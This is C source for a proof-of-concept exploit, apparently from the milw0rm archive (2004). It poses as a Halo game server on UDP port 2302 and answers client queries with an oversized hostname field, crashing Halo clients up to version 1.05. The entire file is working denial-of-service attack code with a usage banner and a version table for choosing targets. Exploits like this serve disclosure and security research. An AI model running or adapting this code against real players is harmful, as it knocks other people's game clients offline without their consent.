/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PING "\x05\x00\x00\x00\x00\x00"
#define PORT 2302
#define GAMEVER "GAMEVER__HERE"
#define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
char *versions[][2] = {
{ "1.05", "01.00.05.0610" },
{ "1.04", "01.00.04.0607" },
{ "1.031", "01.00.03.0606" },
{ "1.03", "01.00.03.0605" },
{ "1.02", "01.00.02.0581" },
{ "1.01", "01.00.01.0580" },
{ "1.00", "01.00.00.0564" },
{ "ce", "01.00.00.0609" },
{ NULL, NULL }
};
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
len,
on = 1,
i,
iver,
psz;
struct sockaddr_in peer;
u_char buff[BUFFSZ + 1],
*pck,
pcklan[] =
"\x00\x00\x00\x00\x00"
"hostname\0" BOOM "\0" /* not only here */
"gamever\0" GAMEVER "\0"
"hostport\0" "\0"
"maxplayers\0" "16\0"
"password\0" "0\0"
"mapname\0" "longest\0"
"dedicated\0" "1\0"
"gamemode\0" "openplaying\0"
"game_classic\0" "0\0"
"numplayers\0" "0\0"
"gametype\0" "CTF\0"
"teamplay\0" "1\0"
"gamevariant\0" "\0"
"fraglimit\0" "3\0"
"player_flags\0" "1943015556,2\0"
"game_flags\0" "65\0"
"\0" "\0",
pckinternet[] =
"\x00\x00\x00\x00\x00"
BOOM "\0"
GAMEVER "\0"
"0\0"
"CTF\0"
"openplaying\0"
"0\0"
"16\0";
setbuf(stdout, NULL);
fputs("\n"
"Halo <= 1.05 broadcast client crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <version>\n"
"\n"
" You must decide what version of the clients you want to crash:\n"
"\n", argv[0]);
for(i = 0; *versions[i]; i++) {
printf(" %s\t%s\n", versions[i][0], versions[i][1]);
}
fputc('\n', stdout);
exit(1);
}
for(iver = 0; versions[iver][0]; iver++) {
if(!strcmp(argv[1], versions[iver][0])) break;
}
if(!versions[iver][0]) {
printf("\nError: you must choose between the versions listed at the beginning\n");
exit(1);
}
printf("- version: %s \t%s\n", versions[iver][0], versions[iver][1]);
for(i = 0; i < (sizeof(pcklan) - 14); i++) {
if(!memcmp(pcklan + i, GAMEVER, 13)) {
memcpy(pcklan + i, versions[iver][1], 13);
break;
}
}
for(i = 0; i < (sizeof(pckinternet) - 14); i++) {
if(!memcmp(pckinternet + i, GAMEVER, 13)) {
memcpy(pckinternet + i, versions[iver][1], 13);
break;
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- bind UDP port %d\n", PORT);
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("\nClients:\n", stdout);
while(1) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
if(buff[2]) {
printf("PING %s:%hu\n",
inet_ntoa(peer.sin_addr), htons(peer.sin_port));
if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
continue;
}
if(len == 10) {
fputs("LAN ", stdout);
pck = pcklan;
len = sizeof(pcklan) - 1;
} else {
fputs("INTERNET ", stdout);
pck = pckinternet;
len = sizeof(pckinternet) - 1;
}
printf("%s:%hu\n",
inet_ntoa(peer.sin_addr), htons(peer.sin_port));
memcpy(pck, buff + 2, 5);
if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}
close(sd);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-11-22]